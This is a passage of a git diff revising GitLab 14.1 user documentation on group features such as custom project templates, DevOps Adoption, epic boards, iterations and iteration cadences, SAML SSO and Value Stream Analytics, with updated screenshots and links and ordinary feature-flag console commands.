+With Contribution Analytics you can get an overview of the [contribution actions](../../../api/events.md#action-types) in your
+group.
To view the Contribution Analytics, go to your group and select **Analytics > Contribution**.
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index d544003536e..41046477b90 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -9,25 +9,35 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.6.
-Custom project templates are useful for organizations that need to create many similar types of
-[projects](../project/index.md).
-Projects created from these templates serve as a common starting point.
+[Group owners](../permissions.md#group-members-permissions) can set a subgroup to
+be the source of project templates that are selectable when a new project is created
+in the group. These templates can be selected when you go to **New project > Create from template**
+in the group and select the **Group** tab.
-## Setting up group-level project templates
+Every project in the subgroup, but not nested subgroups, can be selected by members
+of the group when a new project is created.
-To use a custom project template for a new project:
+Repository and database information that is copied over to each new project is identical to the
+data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
+
+To set custom project templates at the instance level, see [Custom instance-level project templates](../admin_area/custom_project_templates.md).
-1. [Create a `templates` subgroup](subgroups/index.md).
-1. [Add repositories (projects) to that new subgroup](index.md#add-projects-to-a-group),
- as your templates.
-1. Edit your group's settings to look to your _templates_ subgroup for templates:
+## Set up group-level project templates
- 1. In the left menu, select **Settings > General**. If you don't have access to the
- group's settings, you may not have sufficient privileges (for example, you may need developer
- or higher permissions).
- 1. Scroll to **Custom project templates** and select **Expand**. If no **Custom project templates**
- section displays, make sure you've created a subgroup and added a project (repository) to it.
- 1. Select the **templates** subgroup.
+To set up custom project templates in a group, add the subgroup that contains the
+project templates to the group settings:
+
+1. In the group, create a [subgroup](subgroups/index.md).
+1. [Add projects to the new subgroup](index.md#add-projects-to-a-group) as your templates.
+1. In the left menu for the group, go to **Settings > General**.
+1. Expand **Custom project templates** and select the subgroup.
+
+If all enabled [project features](../project/settings/index.md#sharing-and-permissions)
+(except for GitLab Pages) are set to **Everyone With Access**, then every project
+template in the subgroup is available to every member of the group.
+
+Any projects added to the subgroup later can be selected the next time a group member
+creates a new project.
### Example structure
@@ -54,25 +64,6 @@ gitlab.com/acmeco/
...
```
-### Adjust Settings
-
-Users can configure a GitLab group that serves as template source under a group's
-**Settings > General > Custom project templates**.
-
-NOTE:
-GitLab administrators can [set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md).
-
-Within this section, you can configure the group where all the custom project templates are sourced.
-If all enabled [project features](../project/settings/index.md#sharing-and-permissions)
-(except for GitLab Pages) are set to **Everyone With Access**, then every project template directly
-under the group namespace is available to every signed-in user. However, private projects are
-available only if the user is a member of the project. Also note that only direct subgroups can be
-set as the template source. Projects of nested subgroups of a selected template source cannot be
-used.
-
-Repository and database information that are copied over to each new project are identical to the
-data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
-
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png
deleted file mode 100644
index 91055f660da..00000000000
--- a/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v14_1.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_1.png
new file mode 100644
index 00000000000..a790a560a9b
--- /dev/null
+++ b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_1.png
Binary files differ
diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md
index f98325143cc..4332f261481 100644
--- a/doc/user/group/devops_adoption/index.md
+++ b/doc/user/group/devops_adoption/index.md
@@ -7,14 +7,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Group DevOps Adoption **(ULTIMATE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321083) in GitLab 13.11 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta).
-> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323159) in GitLab 13.12.
-> - Enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-group-devops-adoption). **(ULTIMATE SELF)**
-
-This in-development feature might not be available for your use. There can be
-[risks when enabling features still in development](../../feature_flags.md#risks-when-enabling-features-still-in-development).
-Refer to this feature's version history for more details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/333556) in GitLab 14.1.
+> - The Overview tab [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330401) in GitLab 14.1.
+> - DAST and SAST metrics [added](https://gitlab.com/gitlab-org/gitlab/-/issues/328033) in GitLab 14.1.
Prerequisites:
@@ -25,16 +20,17 @@ To access Group DevOps Adoption, go to your group and select **Analytics > DevOp
Group DevOps Adoption shows you how individual groups and sub-groups within your organization use the following features:
- Dev
- - Issues
- - Merge Requests
- Approvals
- Code owners
+ - Issues
+ - Merge requests
- Sec
- - Scans
+ - DAST
+ - SAST
- Ops
- - Runners
- - Pipelines
- Deployments
+ - Pipelines
+ - Runners
When managing groups in the UI, you can add your sub-groups with the **Add sub-group to table**
button, in the top right hand section of your Groups pages.
@@ -45,7 +41,7 @@ With DevOps Adoption you can:
- Identify specific sub-groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
- Find the sub-groups that have adopted certain features and can provide guidance to other sub-groups on how to use those features.
-![DevOps Report](img/group_devops_adoption_v14_0.png)
+![DevOps Report](img/group_devops_adoption_v14_1.png)
## Enable data processing
@@ -64,12 +60,6 @@ Each group appears as a separate row in the table.
For each row, a feature is considered "adopted" if it has been used in a project in the given group
during the time period (including projects in any sub-groups of the given group).
-You should expect adoption to be lower at the beginning of the month,
-before you have had an opportunity to use all the features listed in the table.
-
-In the future [we plan to implement](https://gitlab.com/gitlab-org/gitlab/-/issues/329708)
-a rolling 30-day perspective instead.
-
## When is a feature considered adopted
A feature is considered "adopted" if it has been used anywhere in the group in the specified time.
@@ -100,26 +90,3 @@ To add a sub-group to your Group DevOps Adoption report:
The sub-group data might not appear immediately, because GitLab requires around a minute to collect
the data.
-
-Please note that the sub-group data might not appear immediately,
-because GitLab requires a few moments to collect the data.
-Generally the data will be visible in less than one minute.
-
-## Enable or disable Group DevOps Adoption **(ULTIMATE SELF)**
-
-Group DevOps Adoption is under development and not ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:group_devops_adoption)
-```
-
-To re-enable it:
-
-```ruby
-Feature.enable(:group_devops_adoption)
-```
diff --git a/doc/user/group/epics/epic_boards.md b/doc/user/group/epics/epic_boards.md
index 3b653a7f3f8..34eebfb9e3b 100644
--- a/doc/user/group/epics/epic_boards.md
+++ b/doc/user/group/epics/epic_boards.md
@@ -7,17 +7,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Epic Boards **(PREMIUM)**
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5067) in GitLab 13.10.
-> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/290039) in GitLab 14.0.
-> - Enabled on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md).
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/290039) in GitLab 14.1.
Epic boards build on the existing [epic tracking functionality](index.md) and
[labels](../../project/labels.md). Your epics appear as cards in vertical lists, organized by their assigned
labels.
-To view an epic board, in a group, select **Epics > Boards**.
+To view an epic board:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Epics > Boards**.
![GitLab epic board - Premium](img/epic_board_v14_1.png)
@@ -29,7 +28,8 @@ Prerequisites:
To create a new epic board:
-1. Go to your group and select **Epics > Boards**.
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Epics > Boards**.
1. In the upper left corner, select the dropdown with the current board name.
1. Select **Create new board**.
1. Enter the new board's title.
@@ -77,7 +77,8 @@ Prerequisites:
To create a new list:
-1. Go to your group and select **Epics > Boards**.
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Epics > Boards**.
1. In the upper-right corner, select **Create list**.
1. In the **New list** column expand the **Select a label** dropdown and select the label to use as
list scope.
@@ -129,6 +130,15 @@ You can filter by the following:
- Author
- Label
+### View count of issues, weight, and progress of an epic
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/331330) in GitLab 14.1.
+
+Epics on an epic board show a summary of their issues, weight, and progress.
+To see the number of open and closed issues and the completed and incomplete
+weight, hover over the issues icon **{issues}**, weight icon **{weight}**, or
+progress icon **{progress}**.
+
### Move epics and lists
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0.
@@ -170,22 +180,3 @@ To edit the scope of an epic board:
- Show or hide the Open and Closed columns.
- Select other labels as the board's scope.
1. Select **Save changes**.
-
-## Enable or disable epic boards
-
-Epic boards are under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:epic_boards)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:epic_boards)
-```
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 89fd32a8db1..f6c3ea6c090 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -5,8 +5,6 @@ group: Product Planning
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-<!-- When adding a new h2 section here, remember to mention it in index.md#manage-epics -->
-
# Manage epics **(PREMIUM)**
This page collects instructions for all the things you can do with [epics](index.md) or in relation
@@ -140,6 +138,7 @@ link in the issue sidebar.
> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.5.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to the [Premium](https://about.gitlab.com/pricing/) tier in GitLab 12.8.
> - Searching by the user's reaction emoji [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325630) in GitLab 13.11.
+> - Sorting by epic titles [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/331625) in GitLab 14.1.
You can search for an epic from the list of epics using filtered search bar (similar to
that of issues and merge requests) based on following parameters:
@@ -162,6 +161,7 @@ You can also sort epics list by:
- Last updated
- Start date
- Due date
+- Title
Each option contains a button that can toggle the order between **Ascending** and **Descending**.
The sort option and order is saved and used wherever you browse epics, including the
diff --git a/doc/user/group/import/img/bulk_imports_v13_8.png b/doc/user/group/import/img/bulk_imports_v13_8.png
deleted file mode 100644
index ae4d8567d80..00000000000
--- a/doc/user/group/import/img/bulk_imports_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/import/img/bulk_imports_v14_1.png b/doc/user/group/import/img/bulk_imports_v14_1.png
new file mode 100644
index 00000000000..fb419c1df6c
--- /dev/null
+++ b/doc/user/group/import/img/bulk_imports_v14_1.png
Binary files differ
diff --git a/doc/user/group/import/img/import_panel_v13_8.png b/doc/user/group/import/img/import_panel_v13_8.png
deleted file mode 100644
index 28d61785098..00000000000
--- a/doc/user/group/import/img/import_panel_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/import/img/import_panel_v14_1.png b/doc/user/group/import/img/import_panel_v14_1.png
new file mode 100644
index 00000000000..28417383b6c
--- /dev/null
+++ b/doc/user/group/import/img/import_panel_v14_1.png
Binary files differ
diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md
index 8bf995a4fd9..d76685f992b 100644
--- a/doc/user/group/import/index.md
+++ b/doc/user/group/import/index.md
@@ -22,6 +22,7 @@ The following resources are migrated to the target instance:
- description
- attributes
- subgroups
+ - avatar ([Introduced in 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/322904))
- Group Labels ([Introduced in 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/292429))
- title
- description
@@ -109,7 +110,7 @@ on an existing group's page.
1. On the New Group page, select **Import group**.
- ![Fill in import details](img/import_panel_v13_8.png)
+ ![Fill in import details](img/import_panel_v14_1.png)
1. Fill in source URL of your GitLab.
1. Fill in [personal access token](../../../user/profile/personal_access_tokens.md) for remote GitLab instance.
@@ -118,14 +119,14 @@ on an existing group's page.
### Selecting which groups to import
After you have authorized access to the GitLab instance, you are redirected to the GitLab Group
-Migration importer page. Your remote GitLab groups, which you have Owner access to, are listed.
+Migration importer page. Listed are the remote GitLab groups to which you have the Owner role.
1. By default, the proposed group namespaces match the names as they exist in remote instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them.
1. Select the **Import** button next to any number of groups.
-1. The **Status** column shows the import status of each group. You can choose to leave the page open and it will update in real-time.
+1. The **Status** column shows the import status of each group. You can choose to leave the page open and it updates in real-time.
1. Once a group has been imported, click its GitLab path to open its GitLab URL.
-![Group Importer page](img/bulk_imports_v13_8.png)
+![Group Importer page](img/bulk_imports_v14_1.png)
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index 15fbb442752..787461f9d96 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -29,6 +29,21 @@ To view groups:
You can also view groups by namespace.
+### Group visibility
+
+Like projects, a group can be configured to limit the visibility of it to:
+
+- Anonymous users.
+- All signed-in users.
+- Only explicit group members.
+
+The restriction for [visibility levels](../admin_area/settings/visibility_and_access_controls.md#restricted-visibility-levels)
+on the application setting level also applies to groups. If set to internal, the explore page is
+empty for anonymous users. The group page has a visibility level icon.
+
+Administrator users cannot create a subgroup or project with a higher visibility level than that of
+the immediate parent group.
+
### Namespaces
In GitLab, a namespace is a unique name and URL for a user, a group, or subgroup.
diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md
index 38d209f04ca..5a435f32569 100644
--- a/doc/user/group/iterations/index.md
+++ b/doc/user/group/iterations/index.md
@@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Deployed behind a feature flag, disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 13.2.
> - Enabled on GitLab.com.
-> - Able to be enabled or disabled per-group.
+> - Can be enabled or disabled per-group.
> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(PREMIUM ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-iterations). **(PREMIUM ONLY)**
> - Moved to GitLab Premium in 13.9.
Iterations are a way to track issues over a period of time. This allows teams
@@ -32,31 +32,85 @@ In GitLab, iterations are similar to milestones, with a few differences:
- Iterations require both a start and an end date.
- Iteration date ranges cannot overlap.
+## Iteration cadences
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5077) in GitLab 14.1.
+> - Deployed behind a [feature flag](../../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-iteration-cadences). **(PREMIUM SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../../feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+Iteration cadences automate some common iteration tasks. They can be used to
+automatically create iterations every 1, 2, 3, 4, or 6 weeks. They can also
+be configured to automatically roll over incomplete issues to the next iteration.
+
+With iteration cadences enabled, you must first
+[create an iteration cadence](#create-an-iteration-cadence) before you can
+[create an iteration](#create-an-iteration).
+
+### Create an iteration cadence
+
+Prerequisites:
+
+- You must have at least the [Developer role](../../permissions.md) for a group.
+
+To create an iteration cadence:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues > Iterations**.
+1. Select **New iteration cadence**.
+1. Fill out required fields, and select **Create iteration cadence**. The cadence list page opens.
+
+### Delete an iteration cadence
+
+Prerequisites:
+
+- You must have at least the [Developer role](../../permissions.md) for a group.
+
+Deleting an iteration cadence also deletes all iterations within that cadence.
+
+To delete an iteration cadence:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues > Iterations**.
+1. Select the three-dot menu (**{ellipsis_v}**) > **Delete cadence** for the cadence you want to delete.
+1. Select **Delete cadence** in the confirmation modal.
+
## View the iterations list
-To view the iterations list, in a group, go to **{issues}** **Issues > Iterations**.
-From there you can create a new iteration or click an iteration to get a more detailed view.
+To view the iterations list, go to **{issues}** **Issues > Iterations**.
+To view all the iterations in a cadence, ordered by descending date, select that iteration cadence.
+From there you can create a new iteration or select an iteration to get a more detailed view.
## Create an iteration
-NOTE:
-You need Developer [permissions](../../permissions.md) or higher to create an iteration.
+Prerequisites:
+
+- You must have at least the [Developer role](../../permissions.md) for a group.
+
+For manually scheduled iteration cadences, you create and add iterations yourself.
To create an iteration:
-1. In a group, go to **{issues}** **Issues > Iterations**.
-1. Click **New iteration**.
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues > Iterations**.
+1. Select **New iteration**.
1. Enter the title, a description (optional), a start date, and a due date.
-1. Click **Create iteration**. The iteration details page opens.
+1. Select **Create iteration**. The iteration details page opens.
## Edit an iteration
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218277) in GitLab 13.2.
-NOTE:
-You need Developer [permissions](../../permissions.md) or higher to edit an iteration.
+Prerequisites:
-To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit iteration**.
+- You must have at least the [Developer role](../../permissions.md) for a group.
+
+To edit an iteration, select the three-dot menu (**{ellipsis_v}**) > **Edit iteration**.
## Add an issue to an iteration
@@ -76,7 +130,7 @@ The report also shows a breakdown of total issues in an iteration.
Open iteration reports show a summary of completed, unstarted, and in-progress issues.
Closed iteration reports show the total number of issues completed by the due date.
-To view an iteration report, go to the iterations list page and click an iteration's title.
+To view an iteration report, go to the iterations list page and select an iteration's title.
### Iteration burndown and burnup charts
@@ -99,13 +153,15 @@ and get a more accurate understanding of scope attributable to each label.
To group issues by label:
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues > Iterations**.
1. In the **Group by** dropdown, select **Label**.
1. Select the **Filter by label** dropdown.
1. Select the labels you want to group by in the labels dropdown.
You can also search for labels by typing in the search input.
-1. Click or tap outside of the label dropdown. The page is now grouped by the selected labels.
+1. Select or tap outside of the label dropdown. The page is now grouped by the selected labels.
-## Disable iterations **(PREMIUM SELF)**
+## Enable or disable iterations **(PREMIUM SELF)**
GitLab Iterations feature is deployed with a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
@@ -129,6 +185,25 @@ Feature.disable(:group_iterations)
Feature.disable(:group_iterations, Group.find(<group ID>))
```
+### Enable or disable iteration cadences **(PREMIUM SELF)**
+
+Iteration Cadences feature is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:iteration_cadences)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:iteration_cadences)
+```
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md
index b9f94d96b48..054c6ab7a6b 100644
--- a/doc/user/group/repositories_analytics/index.md
+++ b/doc/user/group/repositories_analytics/index.md
@@ -41,7 +41,7 @@ To see the latest code coverage for each project in your group:
1. In the **Latest test coverage results** section, use the **Select projects** dropdown to choose the projects you want to check.
You can download code coverage data for specific projects using
-[code coverage history](../../../ci/pipelines/settings.md#code-coverage-history).
+[code coverage history](../../../ci/pipelines/settings.md#view-code-coverage-history).
## Download historic test coverage data
diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_9.png b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png
index 9bd2473f90c..1e0aa131aad 100644
--- a/doc/user/group/saml_sso/img/saml_group_links_v13_9.png
+++ b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png
Binary files differ
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index 8a5cdb79186..c3b57018154 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> Introduced in GitLab 11.0.
This page describes SAML for Groups. For instance-wide SAML on self-managed GitLab instances, see [SAML OmniAuth Provider](../../../integration/saml.md).
-[View the differences between SaaS and Self-Managed Authentication and Authorization Options](../../../administration/auth/README.md#saas-vs-self-managed-comparison).
+[View the differences between SaaS and Self-Managed Authentication and Authorization Options](../../../administration/auth/index.md#saas-vs-self-managed-comparison).
SAML on GitLab.com allows users to sign in through their SAML identity provider. If the user is not already a member, the sign-in process automatically adds the user to the appropriate group.
@@ -330,11 +330,11 @@ Ensure your SAML identity provider sends an attribute statement named `Groups` o
NOTE:
To inspect the SAML response, you can use one of these [SAML debugging tools](#saml-debugging-tools).
-Also note that the value for `Groups` or `groups` in the SAML reponse can be either the group name or
+Also note that the value for `Groups` or `groups` in the SAML reponse can be either the group name or
the group ID depending what the IdP sends to GitLab.
When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users
-see a new menu item in group **Settings > SAML Group Links**. You can configure one or more **SAML Group Links** to map
+see a new menu item in group **Settings > SAML Group Links**. You can configure one or more **SAML Group Links** to map
a SAML identity provider group name to a GitLab Access Level. This can be done for the parent group or the subgroups.
To link the SAML groups from the `saml:AttributeStatement` example above:
diff --git a/doc/user/group/settings/img/import_panel_v13_4.png b/doc/user/group/settings/img/import_panel_v13_4.png
deleted file mode 100644
index e4e5b0e91a1..00000000000
--- a/doc/user/group/settings/img/import_panel_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/settings/img/import_panel_v14_1.png b/doc/user/group/settings/img/import_panel_v14_1.png
new file mode 100644
index 00000000000..28417383b6c
--- /dev/null
+++ b/doc/user/group/settings/img/import_panel_v14_1.png
Binary files differ
diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md
index c097790ef16..5f732bee03f 100644
--- a/doc/user/group/settings/import_export.md
+++ b/doc/user/group/settings/import_export.md
@@ -70,7 +70,7 @@ For more details on the specific data persisted in a group export, see the
![Export group panel](img/export_panel_v13_0.png)
-1. After the export is generated, you should receive an e-mail with a link to the [exported contents](#exported-contents)
+1. After the export is generated, you should receive an email with a link to the [exported contents](#exported-contents)
in a compressed tar archive, with contents in NDJSON format.
1. Alternatively, you can come back to the project settings and download the
@@ -84,7 +84,7 @@ As an administrator, you can modify the maximum import file size. To do so, use
You can export groups from the [Community Edition to the Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/) and vice versa.
-The Enterprise Edition retains some group data that isn't part of the Community Edition. If you're exporting a group from the Enterprise Edition to the Community Edition, you may lose this data. For more information, see [downgrading from EE to CE](../../../README.md).
+The Enterprise Edition retains some group data that isn't part of the Community Edition. If you're exporting a group from the Enterprise Edition to the Community Edition, you may lose this data. For more information, see [downgrading from EE to CE](../../../index.md).
## Importing the group
@@ -93,9 +93,9 @@ on an existing group's page.
![Navigation paths to create a new group](img/new_group_navigation_v13_1.png)
-1. On the New Group page, select the **Import group** tab.
+1. On the New Group page, select the **Import group**.
- ![Fill in group details](img/import_panel_v13_4.png)
+ ![Fill in group details](img/import_panel_v14_1.png)
1. Enter your group name.
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index 4532a391eef..7d674b5deac 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -125,7 +125,7 @@ When you add a member to a group, that member is also added to all subgroups.
Permission level is inherited from the group's parent. This model allows access to
subgroups if you have membership in one of its parents.
-Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s).
+Jobs for pipelines in subgroups can use [runners](../../../ci/runners/index.md) registered to the parent group(s).
This means secrets configured for the parent group are available to subgroup jobs.
In addition, maintainers of projects that belong to subgroups can see the details of runners registered to parent group(s).
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
index c1dd363c313..773d41947e2 100644
--- a/doc/user/group/value_stream_analytics/index.md
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -65,7 +65,8 @@ To filter results:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4.
-GitLab provides the ability to filter analytics based on a date range. Data is shown for workflow items created during the selected date range. To filter results:
+GitLab provides the ability to filter analytics based on a date range.
+Data is shown for workflow items created during the selected date range. To filter results:
1. Select a group.
1. Optionally select a project.
@@ -82,13 +83,16 @@ The "Time" metrics near the top of the page are measured as follows:
The "Recent Activity" metrics near the top of the page are measured as follows:
- **New Issues:** the number of issues created in the date range.
-- **Deploys:** the number of deployments to production (1) in the date range.
-- **Deployment Frequency:** the average number of deployments to production (1) per day in the date range.
+- **Deploys:** the number of deployments <sup>1</sup> to production <sup>2</sup> in the date range.
+- **Deployment Frequency:** the average number of deployments <sup>1</sup> to production <sup>2</sup>
+ per day in the date range.
-(1) To give a more accurate representation of deployments that actually completed successfully,
-the calculation for these two metrics changed in GitLab 13.9 from using the time a deployment was
-created to the time a deployment finished. If you were referencing this metric prior to 13.9, please
-keep this slight change in mind.
+1. To give a more accurate representation of deployments that actually completed successfully,
+ the calculation for these two metrics changed in GitLab 13.9 from using the time a deployment was
+ created to the time a deployment finished. If you were referencing this metric prior to 13.9, please
+ keep this slight change in mind.
+1. To see deployment metrics, you must have a
+ [production environment configured](../../../ci/environments/index.md#deployment-tier-of-environments).
You can learn more about these metrics in our [analytics definitions](../../analytics/index.md).
@@ -96,16 +100,16 @@ You can learn more about these metrics in our [analytics definitions](../../anal
## How the stages are measured
-Value Stream Analytics measures each stage from its start event to its stop event.
+Value Stream Analytics measures each stage from its start event to its end event.
For example, a stage might start when one label is added to an issue, and end when another label is added.
-Value Stream Analytics excludes work in progress, meaning it ignores any items that have not reached the stop event.
+Value Stream Analytics excludes work in progress, meaning it ignores any items that have not reached the end event.
Each stage of Value Stream Analytics is further described in the table below.
| **Stage** | **Description** |
| --------- | --------------- |
| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label is tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. |
-| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. |
+| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (for example, `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. |
| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. |
| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. |
| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. |
@@ -121,7 +125,7 @@ How this works, behind the scenes:
by the UI - default is 90 days). So it prohibits these pairs from being considered.
1. For the remaining `<issue, merge request>` pairs, we check the information that
we need for the stages, like issue creation date, merge request merge time,
- etc.
+ and so on.
To sum up, anything that doesn't follow [GitLab flow](../../../topics/gitlab_flow.md) is not tracked and the
Value Stream Analytics dashboard does not present any data for:
@@ -133,7 +137,7 @@ Value Stream Analytics dashboard does not present any data for:
## How the production environment is identified
Value Stream Analytics identifies production environments by looking for project
-[environments](../../../ci/yaml/README.md#environment) with a name matching any of these patterns:
+[environments](../../../ci/yaml/index.md#environment) with a name matching any of these patterns:
- `prod` or `prod/*`
- `production` or `production/*`
@@ -144,7 +148,7 @@ You can change the name of a project environment in your GitLab CI/CD configurat
## Example workflow
-Below is a simple fictional workflow of a single cycle that happens in a
+Below is an example workflow of a single cycle that happens in a
single day through all noted stages. Note that if a stage does not include a start
and a stop time, its data is not included in the median time. It is assumed that
milestones are created and a CI for testing and setting environments is configured.
@@ -159,10 +163,11 @@ environments is configured.
12:00.
1. Make a second commit to the branch which mentions the issue number at 12.30
(stop of **Plan** stage / start of **Code** stage).
-1. Push branch and create a merge request that contains the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically)
+1. Push branch and create a merge request that contains the
+ [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically)
in its description at 14:00 (stop of **Code** stage / start of **Test** and
**Review** stages).
-1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../../ci/yaml/README.md) and
+1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../../ci/yaml/index.md) and
takes 5min (stop of **Test** stage).
